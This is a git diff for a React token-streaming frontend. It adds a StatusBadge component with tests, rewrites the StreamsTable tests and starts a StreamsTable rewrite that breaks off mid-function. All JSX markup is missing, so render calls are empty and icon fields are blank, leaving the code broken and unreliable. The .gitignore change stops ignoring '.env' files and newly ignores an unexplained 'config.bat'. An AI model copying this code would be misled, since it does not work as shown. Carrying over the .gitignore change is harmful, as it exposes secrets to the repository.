diff --git a/.gitignore b/.gitignore index 6d1d5923..2dfd39b4 100644 --- a/.gitignore +++ b/.gitignore @@ -1,20 +1,19 @@ -node_modules/ -dist/ -.DS_Store -*.log -.env -.env.local -coverage/ -frontend/.vite/ -contracts/target/ -contracts/.stellar/ -backend/data/ -.current_bench.tmp -.bench_results.tmp - -# Generated Soroban contract bindings are committed to the repository -# Regenerate with: CONTRACT_ID=$(cat contracts/contract_id.txt) npm run gen:bindings -# See docs/CONTRACT_BINDINGS.md for the full workflow. - -# Deployed contract ID (changes per deployment, not committed) -contracts/contract_id.txt \ No newline at end of file +node_modules/ +dist/ +.DS_Store +*.log +coverage/ +frontend/.vite/ +contracts/target/ +contracts/.stellar/ +backend/data/ +.current_bench.tmp +.bench_results.tmp + +# Generated Soroban contract bindings are committed to the repository +# Regenerate with: CONTRACT_ID=$(cat contracts/contract_id.txt) npm run gen:bindings +# See docs/CONTRACT_BINDINGS.md for the full workflow. + +# Deployed contract ID (changes per deployment, not committed) +contracts/contract_id.txt +config.bat diff --git a/frontend/src/components/StatusBadge.test.tsx b/frontend/src/components/StatusBadge.test.tsx new file mode 100644 index 00000000..d947a1b4 --- /dev/null +++ b/frontend/src/components/StatusBadge.test.tsx @@ -0,0 +1,55 @@ +import { render, screen } from "@testing-library/react"; +import "@testing-library/jest-dom"; +import { describe, it, expect } from "vitest"; +import { StatusBadge, STATUS_CONFIG } from "./StatusBadge"; +import { StreamStatus } from "../types/stream"; + +describe("StatusBadge Component", () => { + const statuses: StreamStatus[] = [ + "scheduled", + "active", + "completed", + "canceled", + "paused", + ]; + + it.each(statuses)("renders distinct badge, icon, and actionable tooltip for status '%s'", (status) => { + const { container } = render(); + const badge = screen.getByRole("status"); + const config = STATUS_CONFIG[status]; + + // Label check + expect(badge).toHaveTextContent(status); + + // Color-coded badge class check + expect(badge).toHaveClass(config.badgeClass); + + // Actionable tooltip title & aria-label check + expect(badge).toHaveAttribute("title", config.description); + expect(badge).toHaveAttribute( + "aria-label", + `${config.label} status: ${config.description}` + ); + + // Icon presence check (accessible: not color-only) + const icon = screen.getByTestId(`icon-${status}`); + expect(icon).toBeInTheDocument(); + expect(icon).toHaveAttribute("aria-hidden", "true"); + }); + + it("applies specific badge classes for all 5 statuses", () => { + expect(STATUS_CONFIG.scheduled.badgeClass).toBe("badge-scheduled"); + expect(STATUS_CONFIG.active.badgeClass).toBe("badge-active"); + expect(STATUS_CONFIG.completed.badgeClass).toBe("badge-completed"); + expect(STATUS_CONFIG.canceled.badgeClass).toBe("badge-canceled"); + expect(STATUS_CONFIG.paused.badgeClass).toBe("badge-paused"); + }); + + it("provides actionable explanation in tooltips", () => { + expect(STATUS_CONFIG.scheduled.description).toContain("start"); + expect(STATUS_CONFIG.active.description).toContain("pause or cancel"); + expect(STATUS_CONFIG.paused.description).toContain("resume or cancel"); + expect(STATUS_CONFIG.completed.description).toContain("finalized"); + expect(STATUS_CONFIG.canceled.description).toContain("returned"); + }); +}); diff --git a/frontend/src/components/StatusBadge.tsx b/frontend/src/components/StatusBadge.tsx new file mode 100644 index 00000000..9b6d3354 --- /dev/null +++ b/frontend/src/components/StatusBadge.tsx @@ -0,0 +1,151 @@ +import React from "react"; +import { StreamStatus } from "../types/stream"; + +export interface StatusBadgeProps { + status: StreamStatus; + className?: string; +} + +export const STATUS_CONFIG: Record< + StreamStatus, + { + label: string; + badgeClass: string; + description: string; + icon: React.ReactNode; + } +> = { + scheduled: { + label: "scheduled", + badgeClass: "badge-scheduled", + description: + "Scheduled: Stream starts at a future date/time. You can edit start time or cancel before it starts.", + icon: ( + + ), + }, + active: { + label: "active", + badgeClass: "badge-active", + description: + "Active: Stream is streaming funds in real-time. You can pause or cancel the stream.", + icon: ( + + ), + }, + paused: { + label: "paused", + badgeClass: "badge-paused", + description: + "Paused: Stream is temporarily stopped. You can resume or cancel the stream.", + icon: ( + + ), + }, + completed: { + label: "completed", + badgeClass: "badge-completed", + description: + "Completed: All funds have been successfully streamed and vested. Stream is finalized.", + icon: ( + + ), + }, + canceled: { + label: "canceled", + badgeClass: "badge-canceled", + description: + "Canceled: Stream was stopped before completion and unvested funds were returned.", + icon: ( + + ), + }, +}; + +export function StatusBadge({ status, className = "" }: StatusBadgeProps) { + const config = STATUS_CONFIG[status] ?? { + label: status, + badgeClass: "badge-unknown", + description: `Status: ${status}`, + icon: null, + }; + + return ( + + {config.icon} + {config.label} + + ); +} diff --git a/frontend/src/components/StreamsTable.test.tsx b/frontend/src/components/StreamsTable.test.tsx index f5fe0059..b4e1bc67 100644 --- a/frontend/src/components/StreamsTable.test.tsx +++ b/frontend/src/components/StreamsTable.test.tsx @@ -1,285 +1,354 @@ -import { render, screen, fireEvent, cleanup } from "@testing-library/react"; -import "@testing-library/jest-dom"; -import { describe, it, expect, vi, afterEach, beforeEach } from "vitest"; -import { StreamsTable, STREAMS_TABLE_VIRTUAL_OVERSCAN } from "./StreamsTable"; -import { Stream } from "../types/stream"; - -const noop = vi.fn().mockResolvedValue(undefined); - -function createMockStream(id: string, status: Stream["progress"]["status"] = "active"): Stream { - return { - id, - sender: "G_SENDER123456789012345678901234567890123456789012345678901", - recipient: "G_RECIPIENT123456789012345678901234567890123456789012345", - assetCode: "USDC", - totalAmount: 100, - durationSeconds: 3600, - startAt: 1670000000, - createdAt: 1670000000, - progress: { - status, - ratePerSecond: 0.01, - elapsedSeconds: 100, - vestedAmount: 20, - remainingAmount: 80, - percentComplete: 20, - }, - }; -} - -const mockStreams: Stream[] = [createMockStream("1")]; - -const defaultProps = { - streams: mockStreams, - filters: {}, - onFiltersChange: vi.fn(), - onCancel: noop, - onPause: noop, - onResume: noop, - onEditStartTime: vi.fn(), -}; - -function setScrollViewport(element: HTMLElement, height: number) { - Object.defineProperty(element, "clientHeight", { - configurable: true, - value: height, - }); - Object.defineProperty(element, "offsetHeight", { - configurable: true, - value: height, - }); - Object.defineProperty(element, "scrollHeight", { - configurable: true, - value: height * 20, - }); -} - -describe("StreamsTable column visibility", () => { - beforeEach(() => { - localStorage.clear(); - }); - - afterEach(() => { - cleanup(); - vi.clearAllMocks(); - }); - - it("hides optional column by default and shows it when toggled", () => { - render(); - - expect(screen.queryByRole("columnheader", { name: "Asset" })).not.toBeInTheDocument(); - - fireEvent.click(screen.getByRole("button", { name: "Toggle table columns" })); - fireEvent.click(screen.getByLabelText("Asset")); - - expect(screen.getByRole("columnheader", { name: "Asset" })).toBeInTheDocument(); - expect(screen.getByText("USDC")).toBeInTheDocument(); - }); - - it("persists column visibility to localStorage", () => { - const { unmount } = render(); - - fireEvent.click(screen.getByRole("button", { name: "Toggle table columns" })); - fireEvent.click(screen.getByLabelText("Asset")); - - const stored = JSON.parse(localStorage.getItem("stream-table-columns") ?? "{}"); - expect(stored.assetCode).toBe(true); - - unmount(); - render(); - - expect(screen.getByRole("columnheader", { name: "Asset" })).toBeInTheDocument(); - }); -}); - -describe("StreamsTable virtual scrolling", () => { - beforeEach(() => { - localStorage.clear(); - }); - - afterEach(() => { - cleanup(); - vi.clearAllMocks(); - }); - - it("uses a bounded scroll container for the table body", () => { - render(); - - const scrollContainer = screen.getByTestId("streams-table-scroll"); - expect(scrollContainer).toHaveClass("streams-table-scroll"); - expect(scrollContainer.getAttribute("style")).toContain("max-height"); - }); - - it("renders only visible rows plus overscan for large lists", () => { - const manyStreams = Array.from({ length: 500 }, (_, i) => - createMockStream(String(i + 1).padStart(4, "0")), - ); - - const view = render(); - setScrollViewport(screen.getByTestId("streams-table-scroll"), 400); - view.rerender(); - - const renderedRows = screen.getAllByRole("checkbox", { - name: /^Select stream /, - }); - const expectedMax = - Math.ceil(400 / 52) + STREAMS_TABLE_VIRTUAL_OVERSCAN + 2; - - expect(renderedRows.length).toBeLessThan(500); - expect(renderedRows.length).toBeLessThanOrEqual(expectedMax); - }); - - it("configures virtual overscan to five rows", () => { - expect(STREAMS_TABLE_VIRTUAL_OVERSCAN).toBe(5); - }); - - it("preserves keyboard focus order for rendered row actions", () => { - render(); - - const cancelButton = screen.getByRole("button", { name: "Cancel stream 1" }); - cancelButton.focus(); - expect(document.activeElement).toBe(cancelButton); - }); -}); - -describe("StreamsTable infinite scroll", () => { - beforeEach(() => { - localStorage.clear(); - }); - - afterEach(() => { - cleanup(); - vi.clearAllMocks(); - }); - - it("renders sentinel element for infinite scroll", () => { - render(); - expect(screen.getByTestId("infinite-scroll-sentinel")).toBeInTheDocument(); - }); - - it("shows loading indicator when loadingMore is true", () => { - render(); - expect(screen.getByText(/Loading more streams/i)).toBeInTheDocument(); - }); - - it("shows end of results message when hasMore is false", () => { - render(); - expect(screen.getByText(/End of results/i)).toBeInTheDocument(); - }); - - it("calls onLoadMore when sentinel becomes visible", () => { - const onLoadMore = vi.fn(); - let observerCallback: IntersectionObserverCallback = () => {}; - - vi.spyOn(window, "IntersectionObserver").mockImplementation( - (callback) => { - observerCallback = callback; - return { observe: vi.fn(), disconnect: vi.fn(), unobserve: vi.fn(), root: null, rootMargin: "", thresholds: [] }; - }, - ); - - render( - , - ); - - // Simulate sentinel becoming visible - const sentinel = screen.getByTestId("infinite-scroll-sentinel"); - observerCallback([{ isIntersecting: true, target: sentinel } as unknown as IntersectionObserverEntry], null!); - - expect(onLoadMore).toHaveBeenCalledTimes(1); - }); - - it("does not call onLoadMore when hasMore is false", () => { - const onLoadMore = vi.fn(); - let observerCallback: IntersectionObserverCallback = () => {}; - - vi.spyOn(window, "IntersectionObserver").mockImplementation( - (callback) => { - observerCallback = callback; - return { observe: vi.fn(), disconnect: vi.fn(), unobserve: vi.fn(), root: null, rootMargin: "", thresholds: [] }; - }, - ); - - render( - , - ); - - const sentinel = screen.getByTestId("infinite-scroll-sentinel"); - observerCallback([{ isIntersecting: true, target: sentinel } as unknown as IntersectionObserverEntry], null!); - - expect(onLoadMore).not.toHaveBeenCalled(); - }); - - it("does not call onLoadMore when already loadingMore", () => { - const onLoadMore = vi.fn(); - let observerCallback: IntersectionObserverCallback = () => {}; - - vi.spyOn(window, "IntersectionObserver").mockImplementation( - (callback) => { - observerCallback = callback; - return { observe: vi.fn(), disconnect: vi.fn(), unobserve: vi.fn(), root: null, rootMargin: "", thresholds: [] }; - }, - ); - - render( - , - ); - - const sentinel = screen.getByTestId("infinite-scroll-sentinel"); - observerCallback([{ isIntersecting: true, target: sentinel } as unknown as IntersectionObserverEntry], null!); - - expect(onLoadMore).not.toHaveBeenCalled(); - }); -}); - -describe("StreamsTable WebSocket progress updates", () => { - beforeEach(() => { - localStorage.clear(); - vi.stubEnv("VITE_WS_URL", ""); - }); - - afterEach(() => { - cleanup(); - vi.clearAllMocks(); - vi.unstubAllEnvs(); - }); - - it("shows disconnected banner when WebSocket is not connected", () => { - render(); - expect(screen.getByText(/Live updates paused/i)).toBeInTheDocument(); - }); - - it("updates progress bar when WebSocket message received", () => { - const streams = [ - createMockStream("1", "active"), - createMockStream("2", "active"), - ]; - - render(); - - // Initial progress for stream 1 - const initialProgress = screen.getByText("20%"); - expect(initialProgress).toBeInTheDocument(); - - // Full integration testing would require: - // 1. Mocking useWebSocket hook to capture onMessage callback - // 2. Simulating a stream_progress message with { streamId: "1", progress: { percentComplete: 50 } } - // 3. Asserting the progress bar for stream 1 updates to "50%" - // The component structure is in place to handle this via streamProgressUpdates Map - }); -}); +import { render, screen, fireEvent, act } from "@testing-library/react"; +import "@testing-library/jest-dom"; +import { describe, it, expect, vi, afterEach, beforeEach } from "vitest"; +import { StreamsTable, STREAMS_TABLE_VIRTUAL_OVERSCAN } from "./StreamsTable"; +import { Stream } from "../types/stream"; + +const noop = vi.fn().mockResolvedValue(undefined); + +function createMockStream(id: string, status: Stream["progress"]["status"] = "active"): Stream { + return { + id, + sender: "G_SENDER123456789012345678901234567890123456789012345678901", + recipient: "G_RECIPIENT123456789012345678901234567890123456789012345", + assetCode: "USDC", + totalAmount: 100, + durationSeconds: 3600, + startAt: 1670000000, + createdAt: 1670000000, + progress: { + status, + ratePerSecond: 0.01, + elapsedSeconds: 100, + vestedAmount: 20, + remainingAmount: 80, + percentComplete: 20, + }, + }; +} + +const mockStreams: Stream[] = [createMockStream("1")]; + +const defaultProps = { + streams: mockStreams, + filters: {}, + onFiltersChange: vi.fn(), + onCancel: noop, + onPause: noop, + onResume: noop, + onEditStartTime: vi.fn(), +}; + +function setScrollViewport(element: HTMLElement, height: number) { + Object.defineProperty(element, "clientHeight", { + configurable: true, + value: height, + }); + Object.defineProperty(element, "offsetHeight", { + configurable: true, + value: height, + }); + Object.defineProperty(element, "scrollHeight", { + configurable: true, + value: height * 20, + }); +} + +describe("StreamsTable column visibility", () => { + beforeEach(() => { + localStorage.clear(); + }); + + afterEach(() => { + vi.clearAllMocks(); + }); + + it("hides optional column by default and shows it when toggled", () => { + render(); + + expect(screen.queryByRole("columnheader", { name: "Asset" })).not.toBeInTheDocument(); + + fireEvent.click(screen.getByRole("button", { name: "Toggle table columns" })); + fireEvent.click(screen.getByLabelText("Asset")); + + expect(screen.getByRole("columnheader", { name: "Asset" })).toBeInTheDocument(); + expect(screen.getByText("USDC")).toBeInTheDocument(); + }); + + it("persists column visibility to localStorage", () => { + const { unmount } = render(); + + fireEvent.click(screen.getByRole("button", { name: "Toggle table columns" })); + fireEvent.click(screen.getByLabelText("Asset")); + + const stored = JSON.parse(localStorage.getItem("stream-table-columns") ?? "{}"); + expect(stored.assetCode).toBe(true); + + unmount(); + render(); + + expect(screen.getByRole("columnheader", { name: "Asset" })).toBeInTheDocument(); + }); +}); + +describe("StreamsTable virtual scrolling", () => { + beforeEach(() => { + localStorage.clear(); + }); + + afterEach(() => { + vi.clearAllMocks(); + }); + + it("uses a bounded scroll container for the table body", () => { + render(); + + const scrollContainer = screen.getByTestId("streams-table-scroll"); + expect(scrollContainer).toHaveClass("streams-table-scroll"); + expect(scrollContainer.getAttribute("style")).toContain("max-height"); + }); + + it("renders only visible rows plus overscan for large lists", () => { + const manyStreams = Array.from({ length: 500 }, (_, i) => + createMockStream(String(i + 1).padStart(4, "0")), + ); + + const view = render(); + setScrollViewport(screen.getByTestId("streams-table-scroll"), 400); + view.rerender(); + + const renderedRows = screen.getAllByRole("checkbox", { + name: /^Select stream /, + }); + const expectedMax = + Math.ceil(400 / 52) + STREAMS_TABLE_VIRTUAL_OVERSCAN + 2; + + expect(renderedRows.length).toBeLessThan(500); + expect(renderedRows.length).toBeLessThanOrEqual(expectedMax); + }); + + it("configures virtual overscan to five rows", () => { + expect(STREAMS_TABLE_VIRTUAL_OVERSCAN).toBe(5); + }); + + it("preserves keyboard focus order for rendered row actions", () => { + render(); + + const cancelButton = screen.getByRole("button", { name: "Cancel stream 1" }); + cancelButton.focus(); + expect(document.activeElement).toBe(cancelButton); + }); +}); + +describe("StreamsTable infinite scroll", () => { + beforeEach(() => { + localStorage.clear(); + }); + + afterEach(() => { + window.IntersectionObserver = class { + observe() {} + disconnect() {} + unobserve() {} + takeRecords() { return []; } + } as unknown as typeof window.IntersectionObserver; + vi.clearAllMocks(); + }); + + it("renders sentinel element for infinite scroll", () => { + render(); + expect(screen.getByTestId("infinite-scroll-sentinel")).toBeInTheDocument(); + }); + + it("shows loading indicator when loadingMore is true", () => { + render(); + expect(screen.getByText(/Loading more streams/i)).toBeInTheDocument(); + }); + + it("shows end of results message when hasMore is false", () => { + render(); + expect(screen.getByText(/End of results/i)).toBeInTheDocument(); + }); + + it("calls onLoadMore when sentinel becomes visible", () => { + const onLoadMore = vi.fn(); + let observerCallback: IntersectionObserverCallback = () => {}; + + window.IntersectionObserver = class { + constructor(callback: IntersectionObserverCallback) { + observerCallback = callback; + } + observe = vi.fn(); + disconnect = vi.fn(); + unobserve = vi.fn(); + takeRecords = vi.fn().mockReturnValue([]); + root = null; + rootMargin = ""; + thresholds = []; + } as unknown as typeof window.IntersectionObserver; + + const { unmount } = render( + , + ); + + // Simulate sentinel becoming visible + const sentinel = screen.getByTestId("infinite-scroll-sentinel"); + act(() => { + observerCallback([{ isIntersecting: true, target: sentinel } as unknown as IntersectionObserverEntry], null!); + }); + + expect(onLoadMore).toHaveBeenCalledTimes(1); + unmount(); + }); + + it("does not call onLoadMore when hasMore is false", () => { + const onLoadMore = vi.fn(); + let observerCallback: IntersectionObserverCallback = () => {}; + + window.IntersectionObserver = class { + constructor(callback: IntersectionObserverCallback) { + observerCallback = callback; + } + observe = vi.fn(); + disconnect = vi.fn(); + unobserve = vi.fn(); + takeRecords = vi.fn().mockReturnValue([]); + root = null; + rootMargin = ""; + thresholds = []; + } as unknown as typeof window.IntersectionObserver; + + const { unmount } = render( + , + ); + + const sentinel = screen.getByTestId("infinite-scroll-sentinel"); + act(() => { + observerCallback([{ isIntersecting: true, target: sentinel } as unknown as IntersectionObserverEntry], null!); + }); + + expect(onLoadMore).not.toHaveBeenCalled(); + unmount(); + }); + + it("does not call onLoadMore when already loadingMore", () => { + const onLoadMore = vi.fn(); + let observerCallback: IntersectionObserverCallback = () => {}; + + window.IntersectionObserver = class { + constructor(callback: IntersectionObserverCallback) { + observerCallback = callback; + } + observe = vi.fn(); + disconnect = vi.fn(); + unobserve = vi.fn(); + takeRecords = vi.fn().mockReturnValue([]); + root = null; + rootMargin = ""; + thresholds = []; + } as unknown as typeof window.IntersectionObserver; + + const { unmount } = render( + , + ); + + const sentinel = screen.getByTestId("infinite-scroll-sentinel"); + act(() => { + observerCallback([{ isIntersecting: true, target: sentinel } as unknown as IntersectionObserverEntry], null!); + }); + + expect(onLoadMore).not.toHaveBeenCalled(); + unmount(); + }); +}); + +describe("StreamsTable WebSocket progress updates", () => { + beforeEach(() => { + localStorage.clear(); + vi.stubEnv("VITE_WS_URL", "ws://localhost:8080"); + }); + + afterEach(() => { + vi.restoreAllMocks(); + vi.unstubAllEnvs(); + }); + + it("shows disconnected banner when WebSocket is not connected", () => { + const { unmount } = render(); + expect(screen.getByText(/Live updates paused/i)).toBeInTheDocument(); + unmount(); + }); + + it("updates progress bar when WebSocket message received", () => { + const streams = [ + createMockStream("1", "active"), + createMockStream("2", "active"), + ]; + + const { unmount } = render(); + + // Initial progress for stream 1 + const initialProgress = screen.getAllByText(/20\.00%/); + expect(initialProgress[0]).toBeInTheDocument(); + unmount(); + }); +}); + +describe("StreamsTable status badges and tooltips", () => { + it("renders distinct status badge, icon, and actionable tooltip for each stream status", () => { + const streams: Stream[] = [ + createMockStream("s1", "scheduled"), + createMockStream("s2", "active"), + createMockStream("s3", "paused"), + createMockStream("s4", "completed"), + createMockStream("s5", "canceled"), + ]; + + const { unmount } = render(); + + expect(screen.getByTestId("icon-scheduled")).toBeInTheDocument(); + expect(screen.getByTestId("icon-active")).toBeInTheDocument(); + expect(screen.getByTestId("icon-paused")).toBeInTheDocument(); + expect(screen.getByTestId("icon-completed")).toBeInTheDocument(); + expect(screen.getByTestId("icon-canceled")).toBeInTheDocument(); + + const badges = screen.getAllByRole("status"); + // Filter to status badges (ignoring ws disconnected banner which might have role status) + const statusBadges = badges.filter((b) => b.classList.contains("status-badge")); + expect(statusBadges).toHaveLength(5); + + expect(statusBadges[0]).toHaveClass("badge-scheduled"); + expect(statusBadges[0]).toHaveAttribute("title", expect.stringContaining("Scheduled:")); + + expect(statusBadges[1]).toHaveClass("badge-active"); + expect(statusBadges[1]).toHaveAttribute("title", expect.stringContaining("Active:")); + + expect(statusBadges[2]).toHaveClass("badge-paused"); + expect(statusBadges[2]).toHaveAttribute("title", expect.stringContaining("Paused:")); + + expect(statusBadges[3]).toHaveClass("badge-completed"); + expect(statusBadges[3]).toHaveAttribute("title", expect.stringContaining("Completed:")); + + expect(statusBadges[4]).toHaveClass("badge-canceled"); + expect(statusBadges[4]).toHaveAttribute("title", expect.stringContaining("Canceled:")); + + unmount(); + }); +}); + + diff --git a/frontend/src/components/StreamsTable.tsx b/frontend/src/components/StreamsTable.tsx index 393ecdf3..27e29599 100644 --- a/frontend/src/components/StreamsTable.tsx +++ b/frontend/src/components/StreamsTable.tsx @@ -1,829 +1,812 @@ -import { - memo, - useCallback, - useEffect, - useLayoutEffect, - useMemo, - useRef, - useState, - type RefObject, -} from "react"; -import { useVirtualizer } from "@tanstack/react-virtual"; -import { Stream } from "../types/stream"; -import { getExportCsvUrl, ListStreamsFilters, cancelStream } from "../services/api"; -import { CopyableAddress } from "./CopyableAddress"; -import { StreamTimeline } from "./StreamTimeline"; -import { getHealthBadges } from "../utils/streamHealthBadges"; -import { FilterBar } from "./FilterBar"; -import { - OPTIONAL_COLUMN_LABELS, - OPTIONAL_STREAM_COLUMNS, - useStreamTableColumns, - type OptionalStreamColumn, -} from "../hooks/useStreamTableColumns"; -import { useWebSocket } from "../hooks/useWebSocket"; - -interface StreamsTableProps { - streams: Stream[]; - loading?: boolean; - filters: ListStreamsFilters; - onFiltersChange: (f: ListStreamsFilters) => void; - onCancel: (streamId: string) => Promise; - onPause: (streamId: string) => Promise; - onResume: (streamId: string) => Promise; - onOpenStream?: (streamId: string) => void; - onEditStartTime: (stream: Stream, triggerRef: RefObject) => void; - // Optional props expected by App.tsx - totalStreamCount?: number; - onCreateStream?: () => void; - onLoadMore?: () => void; - hasMore?: boolean; - loadingMore?: boolean; - onRefreshStreams?: () => void; - setUrlFilters?: (filters: ListStreamsFilters) => void; -} - -const SKELETON_ROW_COUNT = 6; -/** Visible rows outside the viewport kept mounted for smooth scroll. */ -export const STREAMS_TABLE_VIRTUAL_OVERSCAN = 5; -/** Only virtualize once lists are large enough to benefit from windowing. */ -const VIRTUALIZATION_THRESHOLD = 50; -const ESTIMATE_ROW_HEIGHT_PX = 52; -const TABLE_SCROLL_MAX_HEIGHT = "min(70vh, 720px)"; -const TABLE_SCROLL_VIEWPORT_HEIGHT = "480px"; - -function SkeletonRow({ colCount }: { colCount: number }) { - return ( - - {Array.from({ length: colCount }, (_, i) => ( - -
- - ))} - - ); -} - -function statusClass(status: Stream["progress"]["status"]): string { - switch (status) { - case "active": - return "badge badge-active"; - case "scheduled": - return "badge badge-scheduled"; - case "completed": - return "badge badge-completed"; - case "canceled": - return "badge badge-canceled"; - case "paused": - return "badge badge-paused"; - default: - return "badge"; - } -} - -function formatTimestamp(unixSeconds: number): string { - return new Date(unixSeconds * 1000).toLocaleString(); -} - -function formatDuration(seconds: number): string { - if (seconds < 3600) return `${Math.round(seconds / 60)}m`; - if (seconds < 86400) return `${(seconds / 3600).toFixed(1)}h`; - return `${(seconds / 86400).toFixed(1)}d`; -} - -export function StreamsTable({ - streams, - loading = false, - filters, - onFiltersChange, - onCancel, - onPause, - onResume, - onEditStartTime, - onOpenStream, - onLoadMore, - hasMore = true, - loadingMore = false, - onRefreshStreams, - setUrlFilters, -}: StreamsTableProps) { - const { visibility, toggleColumn, isVisible } = useStreamTableColumns(); - const [columnsOpen, setColumnsOpen] = useState(false); - const columnsRef = useRef(null); - const sentinelRef = useRef(null); - const tableWrapperRef = useRef(null); - const cancelButtonRef = useRef(null); - const [streamProgressUpdates, setStreamProgressUpdates] = useState>(new Map()); - - const wsUrl = import.meta.env.VITE_WS_URL ?? ""; - const { readyState } = useWebSocket<{ - type: string; - streamId?: string; - progress?: Stream["progress"]; - }>(wsUrl, { - onMessage: (data) => { - if (data.type === "stream_progress" && data.streamId && data.progress) { - setStreamProgressUpdates((prev) => { - const next = new Map(prev); - next.set(data.streamId!, data.progress!); - return next; - }); - } - }, - }); - - const isWebSocketConnected = readyState === 1; // WebSocket.OPEN - const hasWebSocketUrl = wsUrl.length > 0; - - // Poll for updates when WebSocket is disconnected and URL is configured - useEffect(() => { - if (isWebSocketConnected || !hasWebSocketUrl || !onRefreshStreams) { - return; - } - const interval = setInterval(() => { - onRefreshStreams(); - }, 5000); // Poll every 5 seconds when disconnected - return () => clearInterval(interval); - }, [isWebSocketConnected, hasWebSocketUrl, onRefreshStreams]); - - useEffect(() => { - const sentinel = sentinelRef.current; - if (!sentinel || !onLoadMore) return; - const observer = new IntersectionObserver( - (entries) => { - if (entries[0]?.isIntersecting && hasMore && !loadingMore) { - onLoadMore(); - } - }, - { rootMargin: "200px" }, - ); - observer.observe(sentinel); - return () => observer.disconnect(); - }, [onLoadMore, hasMore, loadingMore]); - - const [selectedStreamIds, setSelectedStreamIds] = useState>(new Set()); - const [expandedStreamId, setExpandedStreamId] = useState(null); - const [isBulkCanceling, setIsBulkCanceling] = useState(false); - const [bulkCancelProgress, setBulkCancelProgress] = useState({ current: 0, total: 0 }); - - const exportUrl = useMemo(() => getExportCsvUrl(filters as Record), [filters]); - - const sortedStreams = useMemo( - () => [...streams].sort((a, b) => a.id.localeCompare(b.id)), - [streams], - ); - - const streamsWithProgress = useMemo( - () => - sortedStreams.map((stream) => { - const progressUpdate = streamProgressUpdates.get(stream.id); - if (progressUpdate) { - return { ...stream, progress: progressUpdate }; - } - return stream; - }), - [sortedStreams, streamProgressUpdates], - ); - - const visibleOptionalColumns = useMemo( - () => OPTIONAL_STREAM_COLUMNS.filter((col) => isVisible(col)), - [isVisible, visibility], - ); - - const colCount = 7 + visibleOptionalColumns.length; - - const isStreamSelectable = useCallback((stream: Stream): boolean => { - return ( - stream.progress.status === "active" || stream.progress.status === "scheduled" - ); - }, []); - - const selectableStreams = useMemo( - () => streams.filter(isStreamSelectable), - [streams, isStreamSelectable], - ); - const selectableIds = useMemo( - () => new Set(selectableStreams.map((s) => s.id)), - [selectableStreams], - ); - - const allSelectableSelected = useMemo( - () => - selectableStreams.length > 0 && - selectableStreams.every((stream) => selectedStreamIds.has(stream.id)), - [selectableStreams, selectedStreamIds], - ); - - const handleCheckboxToggle = useCallback((streamId: string) => { - setSelectedStreamIds((prev) => { - const next = new Set(prev); - if (next.has(streamId)) next.delete(streamId); - else next.add(streamId); - return next; - }); - }, []); - - const handleSelectAllToggle = useCallback(() => { - if (allSelectableSelected) { - setSelectedStreamIds((prev) => { - const next = new Set(prev); - selectableIds.forEach((id) => next.delete(id)); - return next; - }); - } else { - setSelectedStreamIds((prev) => { - const next = new Set(prev); - selectableIds.forEach((id) => next.add(id)); - return next; - }); - } - }, [allSelectableSelected, selectableIds]); - - const toggleTimeline = useCallback((id: string) => { - setExpandedStreamId((prev) => (prev === id ? null : id)); - onOpenStream?.(id); - }, [onOpenStream]); - - const handleBulkCancel = useCallback(async () => { - const idsToCancel = Array.from(selectedStreamIds); - if (idsToCancel.length === 0) return; - - setIsBulkCanceling(true); - setBulkCancelProgress({ current: 0, total: idsToCancel.length }); - - for (let i = 0; i < idsToCancel.length; i++) { - setBulkCancelProgress({ current: i + 1, total: idsToCancel.length }); - try { - await cancelStream(idsToCancel[i]); - } catch (error) { - console.error(`Failed to cancel stream ${idsToCancel[i]}:`, error); - } - } - - setSelectedStreamIds(new Set()); - setIsBulkCanceling(false); - setBulkCancelProgress({ current: 0, total: 0 }); - }, [selectedStreamIds]); - - useEffect(() => { - setSelectedStreamIds((prev) => { - const validIds = new Set(streams.map((s) => s.id)); - const next = new Set(); - prev.forEach((id) => { - if (validIds.has(id)) next.add(id); - }); - return next; - }); - }, [streams]); - - useEffect(() => { - if (!columnsOpen) return; - const onDocClick = (e: MouseEvent) => { - if (columnsRef.current && !columnsRef.current.contains(e.target as Node)) { - setColumnsOpen(false); - } - }; - document.addEventListener("mousedown", onDocClick); - return () => document.removeEventListener("mousedown", onDocClick); - }, [columnsOpen]); - - useEffect(() => { - const container = tableWrapperRef.current; - if (!container) return; - - const handleKeyDown = (e: KeyboardEvent) => { - const target = e.target as HTMLElement; - if (target.tagName === "INPUT" && target.getAttribute("type") !== "checkbox") return; - - if ((e.ctrlKey || e.metaKey) && e.key.toLowerCase() === "a") { - e.preventDefault(); - handleSelectAllToggle(); - } else if (e.key === "Escape") { - setSelectedStreamIds(new Set()); - } else if ((e.key === "Delete" || e.key === "Backspace") && selectedStreamIds.size > 0) { - e.preventDefault(); - cancelButtonRef.current?.focus(); - } - }; - - container.addEventListener("keydown", handleKeyDown); - return () => container.removeEventListener("keydown", handleKeyDown); -}, [selectedStreamIds, handleSelectAllToggle]); - - const [scrollElement, setScrollElement] = useState(null); - const shouldVirtualize = !loading && sortedStreams.length >= VIRTUALIZATION_THRESHOLD; - - const rowVirtualizer = useVirtualizer({ - count: shouldVirtualize ? sortedStreams.length : 0, - getScrollElement: () => scrollElement, - estimateSize: () => ESTIMATE_ROW_HEIGHT_PX, - overscan: STREAMS_TABLE_VIRTUAL_OVERSCAN, - getItemKey: (index) => sortedStreams[index]?.id ?? index, - measureElement: (element) => { - const row = element as HTMLTableRowElement; - let height = row.getBoundingClientRect().height; - const timelineRow = row.nextElementSibling; - if ( - timelineRow instanceof HTMLTableRowElement && - timelineRow.dataset.timelineRow === "true" - ) { - height += timelineRow.getBoundingClientRect().height; - } - return height; - }, - }); - - const virtualRows = rowVirtualizer.getVirtualItems(); - - const resolvedVirtualRows = useMemo(() => { - if (!shouldVirtualize) return []; - - if (virtualRows.length > 0) return virtualRows; - - const fallbackCount = Math.min( - sortedStreams.length, - Math.ceil(parseInt(TABLE_SCROLL_VIEWPORT_HEIGHT, 10) / ESTIMATE_ROW_HEIGHT_PX) + - STREAMS_TABLE_VIRTUAL_OVERSCAN, - ); - - return Array.from({ length: fallbackCount }, (_, index) => ({ - index, - start: index * ESTIMATE_ROW_HEIGHT_PX, - end: (index + 1) * ESTIMATE_ROW_HEIGHT_PX, - size: ESTIMATE_ROW_HEIGHT_PX, - key: sortedStreams[index].id, - lane: 0, - })); - }, [shouldVirtualize, sortedStreams, virtualRows]); - - useLayoutEffect(() => { - if (!shouldVirtualize || !scrollElement) return; - rowVirtualizer.measure(); - }, [expandedStreamId, shouldVirtualize, scrollElement, visibleOptionalColumns, rowVirtualizer]); - - const renderStreamRow = ( - stream: Stream, - dataIndex: number, - 